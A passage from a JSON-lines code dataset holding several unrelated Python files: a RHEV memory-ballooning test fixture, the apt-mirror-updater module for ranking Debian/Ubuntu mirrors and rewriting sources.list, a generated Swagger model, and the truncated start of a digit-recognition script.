4) Delete memory allocation script from the host\n \"\"\"\n results = []\n u_libs.testflow.teardown(\n \"Disable ballooning for the host %s\", conf.HOSTS[0]\n )\n results.append(helpers.enable_host_ballooning())\n u_libs.testflow.teardown(\n \"Change ballooning pressure threshold to %s\",\n conf.DEFVAR_PRESSURE_THRESHOLD_020\n )\n results.append(\n helpers.change_mom_pressure_percentage(\n resource=conf.VDS_HOSTS[0],\n pressure_threshold=conf.DEFVAR_PRESSURE_THRESHOLD_020\n )\n )\n if conf.VDS_HOSTS[0].fs.exists(path=conf.HOST_ALLOC_PATH):\n u_libs.testflow.teardown(\n \"Remove memory allocation script from the host %s\",\n conf.HOSTS[0]\n )\n results.append(\n conf.VDS_HOSTS[0].fs.remove(path=conf.HOST_ALLOC_PATH)\n )\n assert all(results)\n request.addfinalizer(fin)\n\n u_libs.testflow.setup(\n \"Change ballooning pressure threshold to %s\",\n conf.DEFVAR_PRESSURE_THRESHOLD_040\n )\n assert helpers.change_mom_pressure_percentage(\n resource=conf.VDS_HOSTS[0],\n pressure_threshold=conf.DEFVAR_PRESSURE_THRESHOLD_040\n )\n u_libs.testflow.setup(\n \"Copy memory allocation script to the host %s directory %s\",\n conf.HOSTS[0], conf.HOST_ALLOC_PATH\n )\n conf.SLAVE_HOST.fs.transfer(\n path_src=find_test_file(conf.ALLOC_SCRIPT_LOCAL),\n target_host=conf.VDS_HOSTS[0],\n path_dst=conf.HOST_ALLOC_PATH\n )\n u_libs.testflow.setup(\"Enable ballooning for the host %s\", conf.HOSTS[0])\n assert helpers.enable_host_ballooning()\n","sub_path":"art/tests/rhevmtests/compute/sla/mom/fixtures.py","file_name":"fixtures.py","file_ext":"py","file_size_in_byte":3574,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"504569656","text":"# Automated, robust apt-get mirror selection for Debian and Ubuntu.\n#\n# Author: Peter Odding \n# Last Change: June 11, 2017\n# URL: https://apt-mirror-updater.readthedocs.io\n\n\"\"\"\nAutomated, robust ``apt-get`` mirror selection for Debian and Ubuntu.\n\nThe main entry point for this module is the :class:`AptMirrorUpdater` class, so\nif you don't know where to start that would be a good place :-). You can also\ntake a look at the source code of the :mod:`apt_mirror_updater.cli` module for\nan example that uses the :class:`AptMirrorUpdater` class.\n\"\"\"\n\n# Standard library modules.\nimport fnmatch\nimport logging\nimport os\nimport sys\nimport time\n\n# External dependencies.\nfrom bs4 import UnicodeDammit\nfrom capturer import CaptureOutput\nfrom executor.contexts import ChangeRootContext, LocalContext\nfrom humanfriendly import AutomaticSpinner, Timer, compact, format_timespan, pluralize\nfrom property_manager import PropertyManager, cached_property, key_property, mutable_property, set_property\nfrom six.moves.urllib.parse import urlparse\n\n# Modules included in our package.\nfrom apt_mirror_updater.http import fetch_concurrent, fetch_url\n\n# Semi-standard module versioning.\n__version__ = '2.0'\n\nMAIN_SOURCES_LIST = '/etc/apt/sources.list'\n\"\"\"The absolute pathname of the list of configured APT data sources (a string).\"\"\"\n\nMAX_MIRRORS = 50\n\"\"\"Limits the number of mirrors ranked by :func:`prioritize_mirrors()` (a number).\"\"\"\n\nLAST_UPDATED_DEFAULT = 60 * 60 * 24 * 7 * 4\n\"\"\"A default, pessimistic :attr:`~CandidateMirror.last_updated` value (a number).\"\"\"\n\nUBUNTU_SECURITY_URL = 'http://security.ubuntu.com/ubuntu'\n\"\"\"The URL where Ubuntu security updates are hosted (a string).\"\"\"\n\nUBUNTU_OLD_RELEASES_URL = 'http://old-releases.ubuntu.com/ubuntu/'\n\"\"\"The URL where EOL (end of life) Ubuntu suites are hosted (a string).\"\"\"\n\n# Initialize a logger for this program.\nlogger = logging.getLogger(__name__)\n\n\nclass AptMirrorUpdater(PropertyManager):\n\n \"\"\"Python API for the `apt-mirror-updater` package.\"\"\"\n\n def __init__(self, **options):\n \"\"\"\n Initialize an :class:`AptMirrorUpdater` object.\n\n :param options: Refer to the :class:`.PropertyManager` initializer for\n details on argument handling.\n \"\"\"\n # Initialize our superclass.\n super(AptMirrorUpdater, self).__init__(**options)\n # Initialize instance variables.\n self.blacklist = set()\n self.mirror_validity = dict()\n\n @mutable_property(cached=True)\n def context(self):\n \"\"\"An execution context created using :mod:`executor.contexts` (defaults to :class:`.LocalContext`).\"\"\"\n return LocalContext()\n\n @mutable_property\n def distributor_id(self):\n \"\"\"\n The distributor ID (a lowercase string like 'debian' or 'ubuntu').\n\n The value of this property defaults to the value of the\n :attr:`executor.contexts.AbstractContext.distributor_id`\n property which is the right choice 99% of the time.\n\n An example of a situation where it's not the right choice is when you\n want to create a chroot_ using debootstrap_: In this case the host\n system's :attr:`distributor_id` and :attr:`distribution_codename` may\n very well differ from those inside the chroot.\n\n .. _chroot: https://en.wikipedia.org/wiki/chroot\n .. _debootstrap: https://en.wikipedia.org/wiki/debootstrap\n \"\"\"\n return self.context.distributor_id\n\n @mutable_property\n def distribution_codename(self):\n \"\"\"\n The distribution codename (a lowercase string like 'trusty' or 'xenial').\n\n The value of this property defaults to the value of the\n :attr:`executor.contexts.AbstractContext.distribution_codename`\n property which is the right choice 99% of the time.\n \"\"\"\n return self.context.distribution_codename\n\n @mutable_property\n def max_mirrors(self):\n \"\"\"Limits the number of mirrors to rank (a number, defaults to :data:`MAX_MIRRORS`).\"\"\"\n return MAX_MIRRORS\n\n @cached_property\n def backend(self):\n \"\"\"\n The backend module whose name matches :attr:`distributor_id`.\n\n :raises: :exc:`~exceptions.EnvironmentError` when no matching backend\n module is available.\n \"\"\"\n logger.debug(\"Checking whether %s platform is supported ..\", self.distributor_id.capitalize())\n module_path = \"%s.backends.%s\" % (__name__, self.distributor_id)\n try:\n __import__(module_path)\n except ImportError:\n msg = \"%s platform is unsupported! (only Debian and Ubuntu are supported)\"\n raise EnvironmentError(msg % self.distributor_id.capitalize())\n else:\n return sys.modules[module_path]\n\n @cached_property\n def available_mirrors(self):\n \"\"\"\n A set of :class:`CandidateMirror` objects with available mirrors for the current platform.\n\n Currently only Debian (see :mod:`apt_mirror_updater.backends.debian`)\n and Ubuntu (see :mod:`apt_mirror_updater.backends.ubuntu`) are\n supported. On other platforms :exc:`~exceptions.EnvironmentError` is\n raised.\n \"\"\"\n mirrors = set()\n for candidate in self.backend.discover_mirrors():\n if any(fnmatch.fnmatch(candidate.mirror_url, pattern) for pattern in self.blacklist):\n logger.warning(\"Ignoring mirror %s because it matches the blacklist.\", candidate.mirror_url)\n else:\n mirrors.add(candidate)\n # We make an attempt to incorporate the system's current mirror in\n # the candidates but we don't propagate failures while doing so.\n try:\n # Gotcha: We should never include the system's current mirror in\n # the candidates when we're bootstrapping a chroot for a different\n # platform.\n if self.distributor_id == self.context.distributor_id:\n mirrors.add(CandidateMirror(mirror_url=self.current_mirror))\n except Exception as e:\n logger.warning(\"Failed to add current mirror to set of available mirrors! (%s)\", e)\n return mirrors\n\n @cached_property\n def prioritized_mirrors(self):\n \"\"\"\n A list of :class:`CandidateMirror` objects based on :attr:`available_mirrors`.\n\n Refer to :func:`prioritize_mirrors()` for details about how this\n property's value is computed.\n \"\"\"\n return prioritize_mirrors(self.available_mirrors, limit=self.max_mirrors)\n\n @cached_property\n def best_mirror(self):\n \"\"\"\n The URL of the mirror in :attr:`available_mirrors` that looks like the best choice.\n\n This is a shortcut for using :func:`prioritize_mirrors()` to select the\n best mirror from :attr:`available_mirrors` and validating the current\n suite's availability using :func:`validate_mirror()`. If\n :attr:`available_mirrors` is empty an exception is raised.\n\n :raises: If the current suite is EOL (end of life) but there's no fall\n back mirror available an exception is raised.\n \"\"\"\n logger.debug(\"Selecting best %s mirror ..\", self.distributor_id.capitalize())\n mirror_url = self.prioritized_mirrors[0].mirror_url\n if self.validate_mirror(mirror_url):\n return mirror_url\n elif self.distributor_id == 'ubuntu':\n logger.info(\"Falling back to Ubuntu's old releases mirror (%s).\", UBUNTU_OLD_RELEASES_URL)\n return UBUNTU_OLD_RELEASES_URL\n else:\n msg = \"It looks like the suite %s is EOL (end of life) but there's no fall back available for %s!\"\n raise Exception(msg % (self.distribution_codename, self.distributor_id))\n\n @cached_property\n def current_mirror(self):\n \"\"\"\n The URL of the main mirror in use in :data:`MAIN_SOURCES_LIST` (a string).\n\n The :attr:`current_mirror` property's value is computed using\n :func:`find_current_mirror()`.\n \"\"\"\n logger.debug(\"Parsing %s to find current mirror of %s ..\", MAIN_SOURCES_LIST, self.context)\n return find_current_mirror(self.context.read_file(MAIN_SOURCES_LIST))\n\n @cached_property\n def stable_mirror(self):\n \"\"\"\n A mirror URL that is stable for the given execution context (a string).\n\n The value of this property defaults to the value of\n :attr:`current_mirror`, however if the current mirror can't be\n determined or is deemed inappropriate by :func:`validate_mirror()`\n then :attr:`best_mirror` will be used instead.\n\n This provides a stable mirror selection algorithm which is useful\n because switching mirrors causes ``apt-get update`` to unconditionally\n download all package lists and this takes a lot of time so should it be\n avoided when unnecessary.\n \"\"\"\n try:\n logger.debug(\"Trying to select current mirror as stable mirror ..\")\n if self.validate_mirror(self.current_mirror):\n return self.current_mirror\n else:\n logger.debug(\"Failed to validate current mirror, selecting best mirror instead ..\")\n except Exception as e:\n logger.debug(\"Failed to determine current mirror, selecting best mirror instead (error was: %s) ..\", e)\n return self.best_mirror\n\n def validate_mirror(self, mirror_url):\n \"\"\"\n Make sure a mirror serves the given suite.\n\n :param mirror_url: The base URL of the mirror (a string).\n :returns: :data:`True` if the mirror hosts the relevant suite,\n :data:`False` otherwise.\n\n The :func:`validate_mirror()` method is a trivial wrapper for\n :func:`check_suite_available()` that avoids validating a mirror more\n than once.\n \"\"\"\n key = (mirror_url, self.distribution_codename)\n if key not in self.mirror_validity:\n self.mirror_validity[key] = check_suite_available(mirror_url, self.distribution_codename)\n return self.mirror_validity[key]\n\n def ignore_mirror(self, pattern):\n \"\"\"\n Add a pattern to the mirror discovery blacklist.\n\n :param pattern: A shell pattern (containing wild cards like ``?`` and\n ``*``) that is matched against the full URL of each\n mirror.\n\n When a pattern is added to the blacklist any previously cached value of\n :attr:`available_mirrors` is cleared to make sure that mirrors\n blacklisted after mirror discovery has run are ignored as well.\n \"\"\"\n # Update the blacklist.\n logger.info(\"Adding pattern to mirror discovery blacklist: %s\", pattern)\n self.blacklist.add(pattern)\n # Clear (relevant) cached properties.\n del self.available_mirrors\n del self.best_mirror\n\n def change_mirror(self, new_mirror=None, update=True):\n \"\"\"\n Change the main mirror in use in :data:`MAIN_SOURCES_LIST`.\n\n :param new_mirror: The URL of the new mirror (a string, defaults to\n :attr:`best_mirror`).\n :param update: Whether an ``apt-get update`` should be run after\n changing the mirror (a boolean, defaults to\n :data:`True`).\n \"\"\"\n timer = Timer()\n # Default to the best available mirror.\n if new_mirror:\n logger.info(\"Changing mirror of %s to %s ..\", self.context, new_mirror)\n else:\n logger.info(\"Changing mirror of %s to best available mirror ..\", self.context)\n new_mirror = self.best_mirror\n logger.info(\"Selected mirror: %s\", new_mirror)\n # Parse /etc/apt/sources.list to replace the old mirror with the new one.\n sources_list = self.context.read_file(MAIN_SOURCES_LIST)\n current_mirror = find_current_mirror(sources_list)\n mirrors_to_replace = [current_mirror]\n if self.distributor_id == 'ubuntu':\n if new_mirror == UBUNTU_OLD_RELEASES_URL or not self.validate_mirror(new_mirror):\n # When a suite goes EOL the Ubuntu security updates mirror\n # stops serving that suite as well, so we need to remove it.\n logger.debug(\"Replacing %s URLs as well ..\", UBUNTU_SECURITY_URL)\n mirrors_to_replace.append(UBUNTU_SECURITY_URL)\n else:\n logger.debug(\"Not touching %s URLs.\", UBUNTU_SECURITY_URL)\n lines = sources_list.splitlines()\n for i, line in enumerate(lines):\n # The first token should be `deb' or `deb-src', the second token is\n # the mirror's URL, the third token is the `distribution' and any\n # further tokens are `components'.\n tokens = line.split()\n if (len(tokens) >= 4 and\n tokens[0] in ('deb', 'deb-src') and\n tokens[1] in mirrors_to_replace):\n tokens[1] = new_mirror\n lines[i] = u' '.join(tokens)\n # Install the modified package resource list.\n self.install_sources_list(u'\\n'.join(lines))\n # Clear (relevant) cached properties.\n del self.current_mirror\n # Make sure previous package lists are removed.\n self.clear_package_lists()\n # Make sure the package lists are up to date.\n if update:\n self.smart_update(switch_mirrors=False)\n logger.info(\"Finished changing mirror of %s in %s.\", self.context, timer)\n\n def generate_sources_list(self, **options):\n \"\"\"\n Generate the contents of ``/etc/apt/sources.list``.\n\n If no `mirror_url` keyword argument is given then :attr:`stable_mirror`\n is used as a default.\n\n Please refer to the documentation of the Debian\n (:func:`apt_mirror_updater.backends.debian.generate_sources_list()`)\n and Ubuntu (:func:`apt_mirror_updater.backends.ubuntu.generate_sources_list()`)\n backend implementations of this method for details on argument handling\n and the return value.\n \"\"\"\n if options.get('mirror_url') is None:\n options['mirror_url'] = self.stable_mirror\n options.setdefault('codename', self.distribution_codename)\n return self.backend.generate_sources_list(**options)\n\n def install_sources_list(self, contents):\n \"\"\"\n Install a new ``/etc/apt/sources.list`` file.\n\n :param contents: The new contents of the sources list (a string). You\n can generate a suitable value using the method\n :func:`generate_sources_list()`.\n \"\"\"\n logger.info(\"Installing new %s ..\", MAIN_SOURCES_LIST)\n with self.context:\n # Write the sources.list contents to a temporary file.\n temporary_file = '/tmp/apt-mirror-updater-sources-list-%i.txt' % os.getpid()\n self.context.write_file(temporary_file, '%s\\n' % contents.rstrip())\n # Make sure the temporary file is cleaned up when we're done with it.\n self.context.cleanup('rm', '--force', temporary_file)\n # Make a backup copy of /etc/apt/sources.list in case shit hits the fan?\n if self.context.exists(MAIN_SOURCES_LIST):\n backup_copy = '%s.save.%i' % (MAIN_SOURCES_LIST, time.time())\n logger.info(\"Backing up contents of %s to %s ..\", MAIN_SOURCES_LIST, backup_copy)\n self.context.execute('cp', MAIN_SOURCES_LIST, backup_copy, sudo=True)\n # Move the temporary file into place without changing ownership and permissions.\n self.context.execute(\n 'cp', '--no-preserve=mode,ownership',\n temporary_file, MAIN_SOURCES_LIST,\n sudo=True,\n )\n\n def clear_package_lists(self):\n \"\"\"Clear the package list cache by removing the files under ``/var/lib/apt/lists``.\"\"\"\n timer = Timer()\n logger.info(\"Clearing package list cache of %s ..\", self.context)\n self.context.execute(\n # We use an ugly but necessary find | xargs pipeline here because\n # find's -delete option implies -depth which negates -prune. Sigh.\n 'find /var/lib/apt/lists -type f -name lock -prune -o -type f -print0 | xargs -0 rm -f',\n sudo=True,\n )\n logger.info(\"Successfully cleared package list cache of %s in %s.\", self.context, timer)\n\n def dumb_update(self):\n \"\"\"Update the system's package lists (by running ``apt-get update``).\"\"\"\n timer = Timer()\n logger.info(\"Updating package lists of %s ..\", self.context)\n self.context.execute('apt-get', 'update', sudo=True)\n logger.info(\"Finished updating package lists of %s in %s ..\", self.context, timer)\n\n def smart_update(self, max_attempts=10, switch_mirrors=True):\n \"\"\"\n Update the system's package lists (switching mirrors if necessary).\n\n :param max_attempts: The maximum number of attempts at successfully\n updating the system's package lists (an integer,\n defaults to 10).\n :param switch_mirrors: :data:`True` if we're allowed to switch mirrors\n on 'hash sum mismatch' errors, :data:`False`\n otherwise.\n :raises: If updating of the package lists fails 10 consecutive times\n (`max_attempts`) an exception is raised.\n\n While :func:`dumb_update()` simply runs ``apt-get update`` the\n :func:`smart_update()` function works quite differently:\n\n - First the system's package lists are updated using\n :func:`dumb_update()`. If this is successful we're done.\n - If the update fails we check the command's output for the phrase\n 'hash sum mismatch'. If we find this phrase we assume that the\n current mirror is faulty and switch to another one.\n - Failing ``apt-get update`` runs are retried up to `max_attempts`.\n \"\"\"\n backoff_time = 10\n for i in range(1, max_attempts + 1):\n with CaptureOutput() as session:\n try:\n self.dumb_update()\n return\n except Exception:\n if i < max_attempts:\n output = session.get_text()\n # Check for EOL suites. This somewhat peculiar way of\n # checking is meant to ignore 404 responses from\n # `secondary package mirrors' like PPAs.\n maybe_end_of_life = any(\n self.current_mirror in line and u'404' in line.split()\n for line in output.splitlines()\n )\n # If the output of `apt-get update' implies that the\n # suite is EOL we need to verify our assumption.\n if maybe_end_of_life:\n logger.warning(\"It looks like the current suite (%s) is EOL, verifying ..\",\n self.distribution_codename)\n if not self.validate_mirror(self.current_mirror):\n if switch_mirrors:\n logger.warning(\"Switching to old releases mirror because current suite is EOL ..\")\n self.change_mirror(UBUNTU_OLD_RELEASES_URL, update=False)\n continue\n else:\n # When asked to do the impossible we abort\n # with a clear error message :-).\n raise Exception(compact(\"\"\"\n Failed to update package lists because the\n current suite ({suite}) is end of life but\n I'm not allowed to switch mirrors! (there's\n no point in retrying so I'm not going to)\n \"\"\", suite=self.distribution_codename))\n # Check for `hash sum mismatch' errors.\n if switch_mirrors and u'hash sum mismatch' in output.lower():\n logger.warning(\"Detected 'hash sum mismatch' failure, switching to other mirror ..\")\n self.ignore_mirror(self.current_mirror)\n self.change_mirror(update=False)\n else:\n logger.warning(\"Retrying after `apt-get update' failed (%i/%i) ..\", i, max_attempts)\n # Deal with unidentified (but hopefully transient) failures by retrying but backing off\n # to give the environment (network connection, mirror state, etc.) time to stabilize.\n logger.info(\"Sleeping for %s before retrying update ..\", format_timespan(backoff_time))\n time.sleep(backoff_time)\n if backoff_time <= 120:\n backoff_time *= 2\n else:\n backoff_time += backoff_time / 3\n raise Exception(\"Failed to update package lists %i consecutive times?!\" % max_attempts)\n\n def create_chroot(self, directory, arch=None):\n \"\"\"\n Bootstrap a basic Debian or Ubuntu system using debootstrap_.\n\n :param directory: The pathname of the target directory (a string).\n :param arch: The target architecture (a string or :data:`None`).\n :returns: A :class:`~executor.contexts.ChangeRootContext` object.\n\n If `directory` already exists and isn't empty then it is assumed that\n the chroot has already been created and debootstrap_ won't be run.\n Before this method returns it changes :attr:`context` to the chroot.\n \"\"\"\n logger.debug(\"Checking if chroot already exists (%s) ..\", directory)\n if self.context.exists(directory) and self.context.list_entries(directory):\n logger.debug(\"The chroot already exists, skipping initialization.\")\n first_run = False\n else:\n # Ensure the `debootstrap' program is installed.\n if not self.context.find_program('debootstrap'):\n logger.info(\"Installing `debootstrap' program ..\")\n self.context.execute('apt-get', 'install', '--yes', 'debootstrap', sudo=True)\n # Use the `debootstrap' program to create the chroot.\n timer = Timer()\n logger.info(\"Creating chroot using debootstrap (%s) ..\", directory)\n debootstrap_command = ['debootstrap']\n if arch:\n debootstrap_command.append('--arch=%s' % arch)\n debootstrap_command.append(self.distribution_codename)\n debootstrap_command.append(directory)\n debootstrap_command.append(self.best_mirror)\n self.context.execute(*debootstrap_command, sudo=True)\n logger.info(\"Took %s to create chroot.\", timer)\n first_run = True\n # Switch the execution context to the chroot and reset the locale (to\n # avoid locale warnings emitted by post-installation scripts run by\n # `apt-get install').\n self.context = ChangeRootContext(\n chroot=directory,\n environment=dict(LC_ALL='C'),\n )\n # Clear the values of cached properties that can be\n # invalidated by switching the execution context.\n del self.current_mirror\n del self.stable_mirror\n # The following initialization only needs to happen on the first\n # run, but it requires the context to be set to the chroot.\n if first_run:\n # Make sure the `lsb_release' program is available. It is\n # my experience that this package cannot be installed using\n # `debootstrap --include=lsb-release', it specifically\n # needs to be installed afterwards.\n self.context.execute('apt-get', 'install', '--yes', 'lsb-release', sudo=True)\n # Cleanup downloaded *.deb archives.\n self.context.execute('apt-get', 'clean', sudo=True)\n # Install a suitable /etc/apt/sources.list file. The logic behind\n # generate_sources_list() depends on the `lsb_release' program.\n self.install_sources_list(self.generate_sources_list())\n # Make sure the package lists are up to date.\n self.smart_update()\n return self.context\n\n\nclass CandidateMirror(PropertyManager):\n\n \"\"\"A candidate mirror groups a mirror URL with its availability and performance metrics.\"\"\"\n\n @key_property\n def mirror_url(self):\n \"\"\"The base URL of the mirror (a string).\"\"\"\n\n @mutable_property\n def index_page(self):\n \"\"\"The HTML of the mirror's index page (a string or :data:`None`).\"\"\"\n\n @mutable_property\n def index_latency(self):\n \"\"\"The time it took to download the mirror's index page (a floating point number or :data:`None`).\"\"\"\n\n @mutable_property\n def last_updated(self):\n \"\"\"The time in seconds since the last mirror update (a number or :data:`None`).\"\"\"\n\n @mutable_property\n def is_available(self):\n \"\"\":data:`True` if an HTTP connection to the mirror was successfully established, :data:`False` otherwise.\"\"\"\n return self.index_page is not None\n\n @mutable_property\n def is_updating(self):\n \"\"\":data:`True` if it looks like the mirror is being updated, :data:`False` otherwise.\"\"\"\n # Determine the name of the file which signals that this mirror is in the\n # process of being updated. I'm not sure how [1] but mirrors can host such\n # files for domains other than their own, so it's essential that we append\n # the mirror's domain name to the filename (to avoid false positives).\n #\n # [1] I guess this happens when a mirror pulls files from an upstream\n # mirror while that upstream mirror is itself in the process of being\n # updated. This has all sorts of awkward implications about robustness\n # that I don't want to think about :-(.\n if self.is_available:\n components = urlparse(self.mirror_url)\n filename = u'Archive-Update-in-Progress-%s' % components.netloc\n dammit = UnicodeDammit(self.index_page)\n tokens = dammit.unicode_markup.split()\n value = filename in tokens\n # Cache the computed value (only when `index_page' is available).\n set_property(self, 'is_updating', value)\n return value\n else:\n return False\n\n @mutable_property\n def bandwidth(self):\n \"\"\"The bytes per second achieved while fetching the mirror's index page (a number or :data:`None`).\"\"\"\n if self.index_page and self.index_latency:\n return len(self.index_page) / self.index_latency\n\n @mutable_property\n def sort_key(self):\n \"\"\"\n A tuple that can be used to sort the mirror by its availability/performance metrics.\n\n The tuple created by this property contains four numbers in the following order:\n\n 1. The number 1 when :attr:`is_available` is :data:`True` or\n the number 0 when :attr:`is_available` is :data:`False`\n (because most importantly a mirror must be available).\n 2. The number 0 when :attr:`is_updating` is :data:`True` or\n the number 1 when :attr:`is_updating` is :data:`False`\n (because being updated at this very moment is *bad*).\n 3. The negated value of :attr:`last_updated` (because the\n lower :attr:`last_updated` is, the better). If :attr:`last_updated`\n is :data:`None` then :data:`LAST_UPDATED_DEFAULT` is used instead.\n 4. The value of :attr:`bandwidth` (because the higher\n :attr:`bandwidth` is, the better).\n\n By sorting :class:`CandidateMirror` objects on these tuples in\n ascending order, the last mirror in the sorted results will be the\n \"most suitable mirror\" (given the available information).\n \"\"\"\n return (int(self.is_available),\n int(not self.is_updating),\n -(self.last_updated if self.last_updated is not None else LAST_UPDATED_DEFAULT),\n self.bandwidth or 0)\n\n\ndef check_suite_available(mirror_url, suite_name):\n \"\"\"\n Make sure a mirror serves the given suite.\n\n :param mirror_url: The base URL of the mirror (a string).\n :param suite_name: The name of the suite that the mirror is expected to host (a string).\n :returns: :data:`True` if the mirror hosts the relevant suite,\n :data:`False` otherwise.\n \"\"\"\n logger.info(\"Validating mirror %s for suite %s ..\", mirror_url, suite_name)\n try:\n # Gotcha: The following URL manipulation previously used urljoin()\n # and it would break when the mirror URL didn't end in a slash.\n fetch_url('%s/dists/%s' % (mirror_url.rstrip('/'), suite_name), retry=False)\n logger.info(\"Mirror %s is a valid choice for the suite %s.\", mirror_url, suite_name)\n return True\n except Exception:\n logger.warning(\"It looks like the suite %s is EOL!\", suite_name)\n return False\n\n\ndef prioritize_mirrors(mirrors, limit=MAX_MIRRORS, concurrency=None):\n \"\"\"\n Rank the given mirrors by connection speed and update status.\n\n :param mirrors: An iterable of :class:`CandidateMirror` objects.\n :param limit: The maximum number of mirrors to query and report (a number,\n defaults to :data:`MAX_MIRRORS`).\n :param concurrency: Refer to :func:`~apt_mirror_updater.http.fetch_concurrent()`.\n :returns: A list of :class:`CandidateMirror` objects where the first object\n is the highest ranking mirror (the best mirror) and the last\n object is the lowest ranking mirror (the worst mirror).\n :raises: If none of the given mirrors are available an exception is raised.\n \"\"\"\n timer = Timer()\n # Sort the candidates based on the currently available information\n # (and transform the input argument into a list in the process).\n mirrors = sorted(mirrors, key=lambda c: c.sort_key, reverse=True)\n # Limit the number of candidates to a reasonable number?\n if limit and len(mirrors) > limit:\n mirrors = mirrors[:limit]\n mapping = dict((c.mirror_url, c) for c in mirrors)\n num_mirrors = pluralize(len(mapping), \"mirror\")\n logger.info(\"Checking %s for speed and update status ..\", num_mirrors)\n with AutomaticSpinner(label=\"Checking mirrors\"):\n for url, data, elapsed_time in fetch_concurrent(mapping.keys()):\n candidate = mapping[url]\n candidate.index_page = data\n candidate.index_latency = elapsed_time\n mirrors = list(mapping.values())\n logger.info(\"Finished checking speed and update status of %s (in %s).\", num_mirrors, timer)\n if not any(c.is_available for c in mirrors):\n raise Exception(\"It looks like all %s are unavailable!\" % num_mirrors)\n if all(c.is_updating for c in mirrors):\n logger.warning(\"It looks like all %s are being updated?!\", num_mirrors)\n return sorted(mirrors, key=lambda c: c.sort_key, reverse=True)\n\n\ndef find_current_mirror(sources_list):\n \"\"\"\n Find the URL of the main mirror that is currently in use by ``apt-get``.\n\n :param sources_list: The contents of apt's package resource list, e.g. the\n contents of :data:`MAIN_SOURCES_LIST` (a string).\n :returns: The URL of the main mirror in use (a string).\n :raises: If the main mirror can't be determined\n :exc:`~exceptions.EnvironmentError` is raised.\n\n The main mirror is determined by looking for the first ``deb`` or\n ``deb-src`` directive in apt's package resource list whose URL uses the\n HTTP or FTP scheme and whose components contain ``main``.\n \"\"\"\n for line in sources_list.splitlines():\n # The first token should be `deb' or `deb-src', the second token is\n # the mirror's URL, the third token is the `distribution' and any\n # further tokens are `components'.\n tokens = line.split()\n if (len(tokens) >= 4 and\n tokens[0] in ('deb', 'deb-src') and\n tokens[1].startswith(('http://', 'ftp://')) and\n 'main' in tokens[3:]):\n return tokens[1]\n raise EnvironmentError(\"Failed to determine current mirror in apt's package resource list!\")\n","sub_path":"apt_mirror_updater/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":32783,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"287170428","text":"# coding: utf-8\n\nfrom __future__ import absolute_import\nfrom datetime import date, datetime # noqa: F401\n\nfrom typing import List, Dict # noqa: F401\n\nfrom swagger_server.models.base_model_ import Model\nfrom swagger_server import util\n\n\nclass Info(Model):\n \"\"\"NOTE: This class is auto generated by the swagger code generator program.\n\n Do not edit the class manually.\n \"\"\"\n\n def __init__(self, cpu: str=None, gpu: str=None, ram: str=None): # noqa: E501\n \"\"\"Info - a model defined in Swagger\n\n :param cpu: The cpu of this Info. # noqa: E501\n :type cpu: str\n :param gpu: The gpu of this Info. # noqa: E501\n :type gpu: str\n :param ram: The ram of this Info. # noqa: E501\n :type ram: str\n \"\"\"\n self.swagger_types = {\n 'cpu': str,\n 'gpu': str,\n 'ram': str\n }\n\n self.attribute_map = {\n 'cpu': 'cpu',\n 'gpu': 'gpu',\n 'ram': 'ram'\n }\n\n self._cpu = cpu\n self._gpu = gpu\n self._ram = ram\n\n @classmethod\n def from_dict(cls, dikt) -> 'Info':\n \"\"\"Returns the dict as a model\n\n :param dikt: A dict.\n :type: dict\n :return: The Info of this Info. # noqa: E501\n :rtype: Info\n \"\"\"\n return util.deserialize_model(dikt, cls)\n\n @property\n def cpu(self) -> str:\n \"\"\"Gets the cpu of this Info.\n\n\n :return: The cpu of this Info.\n :rtype: str\n \"\"\"\n return self._cpu\n\n @cpu.setter\n def cpu(self, cpu: str):\n \"\"\"Sets the cpu of this Info.\n\n\n :param cpu: The cpu of this Info.\n :type cpu: str\n \"\"\"\n if cpu is None:\n raise ValueError(\"Invalid value for `cpu`, must not be `None`\") # noqa: E501\n\n self._cpu = cpu\n\n @property\n def gpu(self) -> str:\n \"\"\"Gets the gpu of this Info.\n\n\n :return: The gpu of this Info.\n :rtype: str\n \"\"\"\n return self._gpu\n\n @gpu.setter\n def gpu(self, gpu: str):\n \"\"\"Sets the gpu of this Info.\n\n\n :param gpu: The gpu of this Info.\n :type gpu: str\n \"\"\"\n if gpu is None:\n raise ValueError(\"Invalid value for `gpu`, must not be `None`\") # noqa: E501\n\n self._gpu = gpu\n\n @property\n def ram(self) -> str:\n \"\"\"Gets the ram of this Info.\n\n\n :return: The ram of this Info.\n :rtype: str\n \"\"\"\n return self._ram\n\n @ram.setter\n def ram(self, ram: str):\n \"\"\"Sets the ram of this Info.\n\n\n :param ram: The ram of this Info.\n :type ram: str\n \"\"\"\n if ram is None:\n raise ValueError(\"Invalid value for `ram`, must not be `None`\") # noqa: E501\n\n self._ram = ram\n","sub_path":"python-flask-server/swagger_server/models/info.py","file_name":"info.py","file_ext":"py","file_size_in_byte":2786,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"195855858","text":"import os\nfrom keras.models import model_from_json\nfrom detectLines import *\nfrom neuronska import *\nfrom detectNumbers import *\n\n\n\ndef sabiranje(model, sorted_regionsPlava, tacke_arrayPlava, sumaSabranih, vec_uzete_tackeSABIRAJ, vec_sabrani):\n\n\n result = model.predict(np.array(prepare_for_ann(sorted_regionsPlava), np.float32))\n\n rezultat = []\n rezultat = display_result(result)\n # print(rezultat)\n\n\n i = 0\n while(i= 2 and len(vec_uzete_tackeSABIRAJ) >= 2):\n if (vec_sabrani[len(vec_sabrani) - 2] == vec_sabrani[len(vec_sabrani) - 1]):\n if (distance2D(vec_uzete_tackeSABIRAJ[len(vec_uzete_tackeSABIRAJ) - 2],\n vec_uzete_tackeSABIRAJ[len(vec_uzete_tackeSABIRAJ) - 1]) <= 3.5):\n\n print('+')\n else:\n sumaSabranih += rezultat[i]\n else:\n sumaSabranih += rezultat[i]\n i = i + 1\n\n return sumaSabranih\n\ndef oduzimanje(model,sorted_regionsZelena,tacke_arrayZelena, sumaOduzetih, vec_uzete_tackeODUZMI, vec_oduzeti):\n\n\n result = model.predict(np.array(prepare_for_ann(sorted_regionsZelena), np.float32))\n rezultat = []\n rezultat = display_result(result)\n\n i = 0\n while (i < len(rezultat)):\n\n for tackaZelena in tacke_arrayZelena:\n\n vec_uzete_tackeODUZMI.append(tackaZelena)\n vec_oduzeti.append(rezultat[i])\n\n if (len(vec_oduzeti) >= 2 